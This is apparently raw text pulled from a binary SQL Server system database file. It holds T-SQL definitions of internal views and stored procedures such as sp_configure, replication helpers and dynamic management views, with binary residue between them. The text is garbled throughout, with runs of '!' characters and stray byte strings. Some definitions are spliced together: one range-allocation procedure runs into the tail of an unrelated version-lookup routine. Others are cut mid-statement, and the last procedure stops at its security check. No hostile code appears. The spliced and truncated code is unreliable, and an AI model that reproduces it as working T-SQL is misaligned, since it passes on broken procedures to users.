		scope_object_id = sysconv(int, case g.scopetype when 1 then g.scopeid end), -- object-id is non-NULL only for module-scoped guide
		scope_batch 	= convert(nvarchar(max), p.batch), -- for single-stmt batch, batch_text is always NULL
		parameters 		= convert(nvarchar(max), p.params),
		hints 			= convert(nvarchar(max), p.hints)
	FROM sys.syssqlguides g CROSS APPLY OpenRowset(TABLE PLANGUIDES, g.id, g.scopeid, g.scopetype) p	
	WHERE g.scopeid <> 0 -- filter-out batch entries
0 8CREATE VIEW sys.system_internals_partition_columns AS
	SELECT c.rsid AS partition_id,
		c.rscolid AS partition_column_id,
		c.rcmodified AS modified_count,
		case c.maxinrowlen when 0 then p.length
			else c.maxinrowlen end AS max_inrow_length,
		convert(bit, c.status & 1) AS is_replicated,				--RSC_REPLICATED
		convert(bit, c.status & 4) AS is_logged_for_replication,	--RSC_LOG_FOR_REPL
		convert(bit, c.status & 2) AS is_dropped,				--RSC_DROPPED
		p.xtype AS system_type_id,
		p.length AS max_length,
		p.prec AS precision,
		p.scale AS scale,
		convert(sysname, CollationPropertyFromId(c.cid, 'name')) AS collation_name,
		convert(bit, c.status & 32) AS is_filestream,			--RSC_FILESTREAM
		c.ordkey AS key_ordinal,
		convert(bit, 1 - (c.status & 128)/128) AS is_nullable,		-- RSC_NOTNULL		
		convert(bit, c.status & 8) AS is_descending_key,		--RSC_DESC_KEY
		convert(bit, c.status & 16) AS is_uniqueifier,			--RSC_UNIQUIFIER
		convert(smallint, convert(binary(2), c.offset & 0xffff)) AS leaf_offset,
		convert(smallint, substring(convert(binary(4), c.offset), 1, 2)) AS internal_offset,
		convert(tinyint, c.bitpos & 0xff) AS leaf_bit_position,
		convert(tinyint, c.bitpos/0x100) AS internal_bit_position,
		convert(smallint, convert(binary(2), c.nullbit & 0xffff)) AS leaf_null_bit,
		convert(smallint, substring(convert(binary(4), c.nullbit), 1, 2)) AS internal_null_bit,
		convert(bit, c.status & 64) AS is_anti_matter,			--RSC_ANTIMATTER
		convert(uniqueidentifier, c.colguid) AS partition_column_guid,
		sysconv(bit, c.status & 0x00000100) AS is_sparse,	--RSC_SPARSE
		sysconv(bit, case when ov.value is NULL then 0 else 1 end) AS has_default,
		ov.value AS default_value
	FROM
		sys.sysrscols c OUTER APPLY
		OpenRowset(TABLE RSCPROP, c.ti) p LEFT OUTER JOIN -- It simply decodes ti into individual properties
		sys.sysseobjvalues ov ON
		(
			ov.valclass = 1 AND -- SEVC_OUT_OF_ROW_DEFAULT
			ov.id = c.rsid AND
			ov.subid = c.hbcolid AND
			ov.valnum = 0 -- SE_VALNUM_DEFAULT
		)
0 8CREATE VIEW sys.system_internals_allocation_units AS
	SELECT au.auid AS allocation_unit_id,
		au.type,
		ip.name AS type_desc,
		au.ownerid AS container_id,
		au.fgid AS filegroup_id,
		isnull(ct.reserved_pages, au.pcreserved) AS total_pages,
		isnull(ct.used_pages, au.pcused) AS used_pages,
		isnull(ct.data_pages, au.pcdata) AS data_pages,
		au.pgfirst AS first_page,
		au.pgroot AS root_page,
		au.pgfirstiam AS first_iam_page
	FROM sys.sysallocunits au OUTER APPLY OpenRowset(TABLE ALUCOUNT, au.ownerid, au.type, 0) ct
	LEFT JOIN sys.syspalvalues ip ON ip.class = 'AUTY' AND ip.value = au.type
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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.replica_id END,
		group_id = CASE WHEN mr.replica_id is null THEN wr.ag_id -- show remote group id
			ELSE mr.group_id END,
		replica_metadata_id = mr.internal_group_id,
		replica_server_name = CASE WHEN mr.replica_id is not null and wr.ag_replica_name is null THEN (select @@servername)
			ELSE wr.ag_replica_name END,
		owner_sid = mr.owner_sid,
		endpoint_url = wr.endpoint_url,
		availability_mode = wr.availability_mode,
		availability_mode_desc = CASE
			WHEN (wr.availability_mode = 1) THEN CAST('SYNCHRONOUS_COMMIT' AS nvarchar(60))
			WHEN (wr.availability_mode = 0) THEN CAST('ASYNCHRONOUS_COMMIT' AS nvarchar(60))
			ELSE CAST (NULL as nvarchar(60))
			END,
		failover_mode = wr.failover_mode,
		failover_mode_desc = CASE
			WHEN (wr.failover_mode = 0) THEN CAST('AUTOMATIC' AS nvarchar(60))
			WHEN (wr.failover_mode = 1) THEN CAST('MANUAL' AS nvarchar(60))
			ELSE CAST (NULL as nvarchar(60))
			END,
		session_timeout = wr.session_timeout,
		primary_role_allow_connections = wr.primary_role_allow_connections,
		primary_role_allow_connections_desc = wr.primary_role_allow_connections_desc,
		secondary_role_allow_connections = wr.secondary_role_allow_connections,
		secondary_role_allow_connections_desc = wr.secondary_role_allow_connections_desc,
		create_date = mr.create_date,
		modify_date = mr.modify_date,
		backup_priority = wr.backup_priority,
		read_only_routing_url = wr.read_only_routing_url
	FROM sys.availability_replicas_internal AS mr
	FULL JOIN sys.dm_hadr_internal_wsfc_ag_replicas AS wr
		ON mr.group_id = wr.ag_id and mr.replica_id = wr.ag_replica_id
05@ 8CREATE VIEW sys.dm_os_spinlock_stats AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_SPINLOCKSTATS)
0
 8--
-- Name:
--  fn_MSrepl_is_workgroup_edition
--
-- Description:
-- Function to determine if the server edition is workgroup or not
--
-- Returns:
--  0 == FALSE
--  1 == TRUE
--
-- Security:
--  Internal
CREATE FUNCTION  sys.fn_MSrepl_is_workgroup_edition() 
RETURNS BIT
AS
BEGIN
    return case when (sys.fn_MSrepl_editionid() = 21) then 1 else 0 end
END
0x 8
--
-- Name:    
--          sp_IHscriptreconwhereclause
--          
-- Description: 
--          Script reconciliation where clause
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_IHscriptreconwhereclause
(
	@src_objid	int,
	@artid		int
)
as
begin
	declare @this_col int
	declare @art_col int
	declare @spacer nvarchar(10)
	declare @isset int
	declare @cmd nvarchar(4000)
	declare @col_name nvarchar(128)

	-- create WHERE clause

	select @art_col = 1
	select @spacer = N' '
	select @cmd = N'where'

	DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
	select	ihc.publishercolumn_id, ihsc.name
	from	IHcolumns ihc,
			IHsyscolumns ihsc
	where	ihc.column_id = ihsc.colid
	  and	ihscid = @src_objid
	order by ihsc.colorder asc

	OPEN hCColid

	FETCH hCColid INTO @this_col, @col_name

	WHILE (@@fetch_status <> -1)
	begin
		exec @isset = sys.sp_IHisarticlecolbitset @this_col, @artid
		if @isset != 0 and EXISTS (select name from IHsyscolumns where id=@src_objid and @this_col=colid )
		begin
			exec @isset = sys.fn_IHiscolpk @this_col
			if @isset != 0 
			begin
				select @cmd = @cmd + @spacer + QUOTENAME(@col_name) + N' = @c' + convert( nvarchar, @art_col ) 
				select @spacer = N' and '

				if len( @cmd ) > 3000
				begin
					insert into #proctext(procedure_text) values( @cmd )
					select @cmd = N''
				end
			end
			select @art_col = @art_col + 1
		end
		FETCH hCColid INTO @this_col, @col_name
	end
	CLOSE hCColid
	DEALLOCATE hCColid

	insert into #proctext(procedure_text) values( @cmd )
end
0a@ 	8create procedure sys.sp_MSallocate_one_idrange
    @pub_range_begin numeric(38,0),
    @pub_range_end numeric(38,0),
    @pub_next_range_begin numeric(38,0),
    @pub_next_range_end numeric(38,0),
    @range bigint,
    @max_used numeric(38,0) output, -- input and output
    @range_begin numeric(38,0) output,
    @range_end numeric(38,0) output
as
    if @pub_range_end >= @max_used and  @max_used >= @pub_range_begin
    begin
        if (@max_used+@range) <= @pub_range_end
        begin
            -- there is enough space in the first range
            select @range_begin=@max_used
            select @range_end=@range_begin+@range
            select @max_used=@range_end
        end
        -- In a upgrade scenario the next range begin and end are null to begin with.
        else if @pub_next_range_begin is not null and @pub_next_range_end is not null
        begin
            -- we need to start using the second range
            select @range_begin = @pub_next_range_begin
            select @range_end=@range_begin+@range
            select @max_used=@range_end
        end
        else
        begin
            -- there is not enough range at the republisher to allocate for it subscriber
            raiserror(20665, 16, -1)
            return 1
        end        
    end
    else if @pub_next_range_end >= @max_used and @max_used >= @pub_next_range_begin
    begin
        -- we are already in the second range
        if (@max_used+@range) <= @pub_next_range_end
        begin
            -- there is enough space in the second range
            select @range_begin=@max_used
            select @range_end=@range_begin+@range
            select @max_used=@range_end
        end
        else
        begin
            -- there is not enough range at the republisher to allocate for it subscriber
            raiserror(20665, 16, -1)
            return 1
        end
    end
	-- @max_used is lower than both the ranges (scenario in bug 536782)
    else if @pub_range_begin > @max_used
    begin
        -- allocate from the first range and set the new @max_used
        select @range_begin=@pub_range_begin
        select @range_end=@range_begin+@range
        select @max_used=@range_end
    end
    else
    begin
        -- there is something terribly wrong here. @max_used is not in the ranges available at the publisher
        raiserror(21197, 16, -1)
        return 1
    end

    return 0
	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type = @publisher_type OUTPUT
	
	IF @retcode <> 0
	BEGIN
		RETURN (1)
	END
	
	-- Call version specific logic to find server version
	IF UPPER(@publisher_type) = N'MSSQLSERVER'
	BEGIN
		SELECT @version = NULL
	END
	ELSE IF UPPER(@publisher_type) IN (N'ORACLE', N'ORACLE GATEWAY')
	BEGIN
		EXEC @retcode = sp_ORAgetversion @publisher, @version OUTPUT
		
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		SELECT @version = NULL
	END

	RETURN (0)
	
end
0	 \8QcNh> 8^!cpal_name, 
		server_principal_name, 
		server_principal_sid, 
        database_principal_name, 
        target_server_principal_name, 
        target_server_principal_sid, 
        target_database_principal_name, 
        server_instance_name, 
        database_name, 
        schema_name, 
        object_name, 
        statement, 
        additional_information, 
        file_name, 
        audit_file_offset,
        user_defined_event_id,
	 user_defined_information     
	FROM OpenRowSet(TABLE FN_GET_AUDIT_FILE, @file_pattern, @initial_file_name, @audit_record_offset)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!tc
ukk	`
<5:+%0H 8
---------------------------- sp_configure ------------------------------
create procedure sys.sp_configure
    @configname   varchar(35) = null   -- option name to configure
   ,@configvalue  int         = null   -- new configuration value
as
	set nocount on

	declare
		@confignum                smallint   --Num of the opt to be configured
	   ,@configcount              int   --Num of options like @configname
	   ,@show_advance             int   --Y/N Read&Write actions on "advanced" opts
	   ,@prevvalue                int
	   ,@confignameIn             varchar(35)
	    
	select @confignameIn = @configname
		   ,@configname = lower(@configname collate Latin1_General_CI_AS)

	-- Determine @maxnumber based on advance option in syscurconfigs.
	if (select value_in_use from sys.configurations where configuration_id = 518) = 1
	   select @show_advance = 1   -- Display advanced options
	else
	   select @show_advance = 0   -- Don't display advanced options

	-- If no option name is given, the procedure will just print out all the
	--  options and their values.
	if @configname is NULL
	begin
		select name,
			convert(int, minimum) as minimum,
			convert(int, maximum) as maximum,
			convert(int, isnull(value, value_in_use)) as config_value,
			convert(int, value_in_use) as run_value
		from  sys.configurations
		where (is_advanced = 0 or @show_advance = 1)
		order by lower(name)

		return (0)
	end

	-- Use @configname and try to find the right option.
	--  If there isn't just one, print appropriate diagnostics and return.
	select @configcount = count(*)
	from sys.configurations
	where lower(name collate Latin1_General_CI_AS) like '%' + @configname + '%'
		and (is_advanced = 0 or @show_advance = 1)

	-- If no option, print an error message.
	if @configcount = 0
	begin
		-- If exist but not used in matrix, print MATRIX1_NOT_AVAILABLE 
		select @configcount = count(*)
		from sys.configurations$
		where lower(name collate Latin1_General_CI_AS) like '%' + @configname + '%'
			and (is_advanced = 0 or @show_advance = 1)
		if @configcount <> 0
			begin
				if ServerProperty('IsMatrix') <> 0
					raiserror(28401,-1,-1,@confignameIn)
			end
		else
			raiserror (15123,-1,-1,@confignameIn)
		return (1)
	end

	-- If more than one option like @configname, show the duplicates and return.
	if @configcount > 1
	begin
		raiserror (15124,-1,-1,@confignameIn)
		print ' '

		select duplicate_options = name
		from sys.configurations
		where lower(name collate Latin1_General_CI_AS) like '%' + @configname + '%' 
			and (is_advanced = 0 or @show_advance = 1)

	  return (1)
	end
	else
		-- There must be exactly one, so get the full name.
		select @configname = name
		from sys.configurations
		where lower(name collate Latin1_General_CI_AS) like '%' + @configname + '%'
			and (is_advanced = 0 or @show_advance = 1)

	-- If @configvalue is NULL, just show the current state of the option.
	if @configvalue is null
	begin

		select name,
			convert(int, minimum) as minimum,
			convert(int, maximum) as maximum,
			convert(int, isnull(value, value_in_use)) as config_value,
			convert(int, value_in_use) as run_value
		from sys.configurations
		where (name collate Latin1_General_CI_AS) = @configname
			and (is_advanced = 0 or @show_advance = 1)

	   return (0)
	end

	-- Check Permissions
	if (not has_perms_by_name(NULL,NULL,'alter settings') = 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Now get the configuration number.
	select @confignum = configuration_id, @prevvalue = convert(int, isnull(value, value_in_use))
	from  sys.configurations
	where (@configvalue = 0 or convert(sql_variant, @configvalue) between minimum and maximum)
		and (name collate Latin1_General_CI_AS) = @configname
		and (is_advanced = 0 or @show_advance = 1)

	-- If this is the number of default language, we want to make sure
	--  that the new value is a valid language id in Syslanguages.
	if @confignum = 124
	begin
		if not exists (select * from sys.syslanguages
			 where langid = @configvalue)
		begin
			-- 0 is default language, us_english
			if @configvalue <> 0
			begin
				raiserror(15127,-1,-1)
				return (1)
			end
		end
	end

	-- If this is the number of kernel language, we want to make sure
	--  that the new value is a valid language id in Syslanguages.
	if @confignum = 132
	begin
		if not exists (select * from sys.syslanguages
			where langid = @configvalue)
		begin
			-- 0 is default language, us_english
			if @configvalue <> 0
			begin
			   raiserror(15028,-1,-1)
			   return (1)
			end
		end
	end

	--  "user options" should not try to set incompatible options/values.
	if @confignum = 1534  --"user options"
	begin
		if (@configvalue & (1024+2048) = (1024+2048)) --ansi_null_default_on/off
		begin
			raiserror(15303,-1,-1,@configvalue)
			return (1)
		end
	end

	-- Although the @configname is good, @configvalue wasn't in range.
	if @confignum is NULL
	begin
		raiserror(15129,-1,-1,@configvalue,@configname)
		return (1)
	end

	-- Now update sysconfigures.
	EXEC %%ServerConfiguration( ConfigID = @confignum ).SetValue( Value = @configvalue )

	if @@error <> 0 
	begin
		return (1)
	end
	else
	begin
		declare @configwname nvarchar(35), @configwvalue sql_variant
		select @configwname = @configname, 
			@configwvalue = @configvalue

		-- EMDEventType(x_eet_Alter_Instance), EMDUniversalClass(x_eunc_Object), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 214, ID = 107, ID = 0, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @configwname, Value = @configwvalue, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

		raiserror(15457,-1,-1, @configname, @prevvalue, @configvalue) with log
		return (0) -- sp_configure
	end
0L /8-- Creation of sp_describe_cursor_tables

create procedure sys.sp_describe_cursor_tables
(  @cursor_return CURSOR VARYING OUTPUT,
   @cursor_source nvarchar (30),
   @cursor_identity nvarchar (128)
)
AS

declare @scope int
select @cursor_source = LOWER (@cursor_source collate Latin1_General_CI_AS)

/* Check if the cursor exists by name or handle. */
If cursor_status ( @cursor_source, @cursor_identity ) >= -1
begin
	if convert(varchar(30), @cursor_source) = 'local' OR
		convert(varchar(128), @cursor_source) = 'variable'
		select @scope = 1
	else
	if convert(varchar(30), @cursor_source) = 'global'
		select @scope = 2

	set @cursor_return =  	CURSOR LOCAL SCROLL DYNAMIC FOR
				SELECT table_owner, table_name, optimizer_hint, lock_type, server_name, objectid, dbid, dbname
				FROM sys.syscursorrefs scr, sys.syscursortables sct
				WHERE 	scr.cursor_scope = @scope and
					scr.reference_name = @cursor_identity and
					scr.cursor_handl = sct.cursor_handle
				FOR READ ONLY
	open @cursor_return
end
0Y 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_objects as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_objects
LE SYSMEMORYCACHECLOCKHANDS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M`	<3;L01y 8CREATE VIEW sys.fulltext_languages AS
	SELECT lcid, name 
	FROM OpenRowSet(TABLE SYSFULLTEXTLANGUAGES)
0@ w8CREATE VIEW sys.dm_io_backup_tapes AS
	SELECT *
	FROM OpenRowset(TABLE TAPE_STATUS)
0D@ x8CREATE VIEW sys.dm_os_latch_stats AS
	SELECT *
	FROM OpenRowset(TABLE SYSLATCHSTATS)
0 }8CREATE VIEW sys.dm_resource_governor_workload_groups AS
	SELECT
	    group_id,
	    name,
	    pool_id,
	    statistics_start_time,
	    total_request_count,
	    total_queued_request_count,
	    active_request_count,
	    queued_request_count,
	    total_cpu_limit_violation_count,
	    total_cpu_usage_ms,
	    max_request_cpu_time_ms,
	    blocked_task_count,
	    total_lock_wait_count,
	    total_lock_wait_time_ms,
	    total_query_optimization_count,
	    total_suboptimal_plan_generation_count,
	    total_reduced_memgrant_count,
	    max_request_grant_memory_kb,
	    active_parallel_thread_count,
	    importance,
	    request_max_memory_grant_percent,
	    request_max_cpu_time_sec,
	    request_memory_grant_timeout_sec,
	    group_max_requests,
	    max_dop,
	    effective_max_dop
	FROM OpenRowSet(TABLE DM_RG_GROUPS)
0 ܿ@ 8create procedure sys.sp_MSrepl_isdbowner 
    @dbname sysname
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode int
    DECLARE @cmd      nvarchar(1000)
    DECLARE @isdbowner int

    SELECT @retcode = has_dbaccess(@dbname)
    IF (@retcode IS NULL) OR (@retcode = 0)
    BEGIN
        /* 
        ** Either no access or database not found 
        ** No need to go further
        */
        RETURN 0
    END

    SELECT @cmd = 'USE ' + quotename(@dbname) + ' SELECT @isdbowner = is_member(''db_owner'')'
    EXEC sys.sp_executesql @cmd, N'@isdbowner int output', @isdbowner output

    RETURN isnull(@isdbowner, 0)
END
0ɳ 8create procedure sys.sp_MSdrop_ins_conflict_proc
    @pubid uniqueidentifier,
    @artid uniqueidentifier, @update_proc_names bit = 1
as
    set nocount on

    declare @owner sysname
    declare @procname sysname
    declare @qualified_procname nvarchar(517)

    select @procname= ins_conflict_proc
        from dbo.sysmergearticles
        where pubid=@pubid and artid=@artid

    if @procname is null return 0

    select @owner= schema_name(schema_id) from sys.objects where name=@procname
    select @qualified_procname= quotename(@owner) + '.' + quotename(@procname)

    if object_id(@qualified_procname, 'P') is not null
    begin
        exec ('drop proc ' + @qualified_procname)
    end
    if @@error<>0 return (1)

    if @update_proc_names = 1
        update dbo.sysmergearticles set ins_conflict_proc= NULL where pubid=@pubid and artid=@artid

    return 0
0Ap D8Z
h	*0k D8,
hc10C@ 8create procedure sys.sp_MSmergepushsubscriptionagentjobcontrol
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @action         tinyint
)
as
begin
    set nocount on

    declare @PUSH int
    
    set @PUSH = 0

    declare @retcode            int
    declare @distributor_rpc    sysname
    declare @distributor        sysname
    declare @distribution_db    sysname
    declare @pubid              uniqueidentifier
    declare @procedure          nvarchar(4000)
    declare @publisher          sysname
    declare @publisher_db       sysname
    declare @start              tinyint

    set @publisher = publishingservername()
    set @publisher_db = db_name()
    set @retcode = 0
    set @start = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- Make sure current database is enabled for merge replication
    exec @retcode = sys.sp_MSCheckmergereplication
    if @@error <> 0 or @retcode <> 0
        return 1

    -- Parameter check: @subscriber
    if @subscriber is null
    begin
        declare @originating_procedure sysname
        if @action = @start
            set @originating_procedure = 'sp_startmergepushsubscription_agent'
        else
            set @originating_procedure = 'sp_stopmergepushsubscription_agent'

        -- "The parameter @subscriber cannot be NULL."
        raiserror (14043, 16, -1, '@subscriber', @originating_procedure)
        return 1
    end

    select @pubid = pubid
      from dbo.sysmergepublications
     where upper(publisher)=upper(@publisher)
       and publisher_db=@publisher_db
       and name = @publication
    if @pubid is null
    begin
        -- The publication '@publication' does not exist.
        raiserror (20026, 16, -1, @publication)
        return 1
    end
    
    if not exists (select *
                    from dbo.sysmergesubscriptions
                   where upper(subscriber_server) = upper(@subscriber)
                     and db_name = @subscriber_db   
                     and pubid = @pubid
                     and subscription_type = @PUSH)
    begin
        -- "The subscription could not be found."
        raiserror (20021, 16, -1)
        return 1
    end
        
    exec @retcode = sys.sp_helpdistributor
                @rpcsrvname = @distributor_rpc output,
                @distribdb = @distribution_db output
    if @@error <> 0 or @retcode <> 0 or @distribution_db is null
    begin
        -- "The Distributor has not been installed correctly."
        raiserror (20036, 16, -1)
        return 1
    end

    set @procedure = quotename(rtrim(@distributor_rpc)) + '.' + quotename(rtrim(@distribution_db)) + case when @action = @start then '.sys.sp_MSstartmerge_agent' else '.sys.sp_MSstopmerge_agent' end 
    exec @retcode = @procedure
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db
    return @retcode
end
0ҩ@ 8
CREATE PROCEDURE sys.sp_setOraclepackageversion
(
    @publisher          sysname
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_setOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher

    RETURN (@retcode)
END
0n P8bh>F`0@ 8create procedure sys.sp_MScdccheck_ddladmin 
as
begin
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if    is_srvrolemember('sysadmin') = 1 or
        is_member ('db_owner') = 1 or
        is_member ('db_ddladmin') = 1
    begin
        return (0)
    end
    else
    begin
		raiserror(22914, 16, -1)
		return (1)
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a(`Cc<K<H)00# x8
---------------------------- sp_validlang ------------------------------
CREATE PROCEDURE sys.sp_validlang
	@name	sysname
AS

	-- Check to see if this language is in Syslanguages.
	if exists (select * from sys.syslanguages where name = @name or alias = @name)
		return(0)

	raiserror(15033,-1,-1,@name)
	return (1) -- sp_validlang
0& 8create procedure sys.sp_removesrvreplication
as
begin
/* 
 * unmark replication bits for all servers, databases; used by setup in vupgrade 
 * assumes override is on; db in single user mode
 * no need to check rowcounts affected by updates, may not be any repl dbs
 * failure label avoids repetition of errs if not in single user mode
*/

    set nocount on 

    -- setup attach overrides removedb option
    declare @dbname sysname,
            @srvname sysname,
            @procname nvarchar(320),
            @flush_proc nvarchar(300),
            @done_proc nvarchar(300)

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    declare cur_db CURSOR LOCAL FAST_FORWARD for 
        select name from master.dbo.sysdatabases where name <> N'master' collate database_default
        for read only
    open cur_db
    fetch cur_db into @dbname
    while ( @@fetch_status <> -1 )
    begin
        exec sys.sp_MSremovedbreplication_internal @dbname
        -- clean up system tables
        select @procname = quotename(@dbname) + '.sys.sp_MSdrop_pub_tables'
        exec @procname
        select @procname = quotename(@dbname) + '.sys.sp_MSdrop_mergesystables @whattodrop=3'
        exec @procname
        fetch next from cur_db into @dbname
    end
    close cur_db
    deallocate cur_db

    declare cur_dball CURSOR LOCAL FAST_FORWARD for 
        select name from master.dbo.sysdatabases
        for read only
    open cur_dball
    fetch cur_dball into @dbname
    while ( @@fetch_status <> -1 )
    begin
        -- Consider: Lock database using EXEC %%CurrentDatabase().Lock()??
        -- rmak: Doesn't seem necessary nor is the right thing to do as
        -- %%CurrentDatabase().Lock locks only the current database (master)

        -- call repldone before removing the published bit
        IF CONVERT(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = N'READ_WRITE'
			AND HAS_DBACCESS(@dbname) = 1
			AND DatabasePropertyEx(@dbname, N'IsPublished') = 1
			--if cdc is still enabled, don't call sp_repldone
			AND not exists(select * from sys.databases where db_id(@dbname) = database_id and is_cdc_enabled = 1)
        BEGIN
            SELECT @flush_proc = QUOTENAME(@dbname) + N'.sys.sp_replflush'
            SELECT @done_proc  = QUOTENAME(@dbname) + N'.sys.sp_repldone'
            EXEC @flush_proc
            EXEC @done_proc NULL, NULL, 0, 0, 1
            EXEC @flush_proc
        END	

        -- unmark db bits
        EXEC %%DatabaseEx(Name = @dbname).SetPublished(Value = 0)
        EXEC %%DatabaseEx(Name = @dbname).SetMergePublished(Value = 0)

		--drop sysreplservers
    	if (convert(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = 'ONLINE')
		begin 
	       SELECT @procname = QUOTENAME(@dbname) + '.sys.sp_refreshreplsysservers'
	       EXEC @procname 
		end
        -- clean up old dist db bit
        EXEC %%DatabaseEx(Name = @dbname).SetDistributor(Value = 0)
        fetch next from cur_dball into @dbname
    end
    close cur_dball
    deallocate cur_dball

    -- unmark srv bits (srvstatus = @dsnbit no longer used by replication subscribers but by server )
    -- select name, srvstatus from dbo.sysservers where srvstatus & @srv_distbit = @srv_distbit
    declare cur_srv CURSOR LOCAL FAST_FORWARD for 
        select srvname from master.dbo.sysservers
        for read only
    open cur_srv
    fetch cur_srv into @srvname
    while ( @@fetch_status <> -1 )
    begin
        EXEC %%LinkedServer(Name = @srvname).Lock(Exclusive = 1)
        if @@error = 0
        begin
            EXEC %%LinkedServer(Name = @srvname).SetReplDist(Value = 0)
            EXEC %%LinkedServer(Name = @srvname).SetReplSub(Value = 0)
        end
        fetch next from cur_srv into @srvname
    end
    close cur_srv
    deallocate cur_srv

    return (0)
fail:
-- ad hoc updates not allowed and not single user
return (1)
end
01 
8
--
-- DEVNOTE: Uses @filterclause. Do not sign.
--
create procedure sys.sp_addtabletocontents 
	(@table_name sysname,
	 @owner_name sysname = NULL,
	 @filter_clause nvarchar(4000) = NULL)
AS
begin
	declare @qualified_table_name nvarchar(540)
	declare @tablenick int
	declare @tablenickstr nvarchar(12)
	declare @replnick binary(6)
	declare @lineage varbinary(311)
	declare @colv varbinary(2953)
	declare @coltrack int
	declare @objid int
	declare @retcode int
	declare @gen bigint
	declare @marker uniqueidentifier
	declare @command nvarchar(max)
	declare @artid uniqueidentifier
	
	set nocount on

	-- Security Checking 
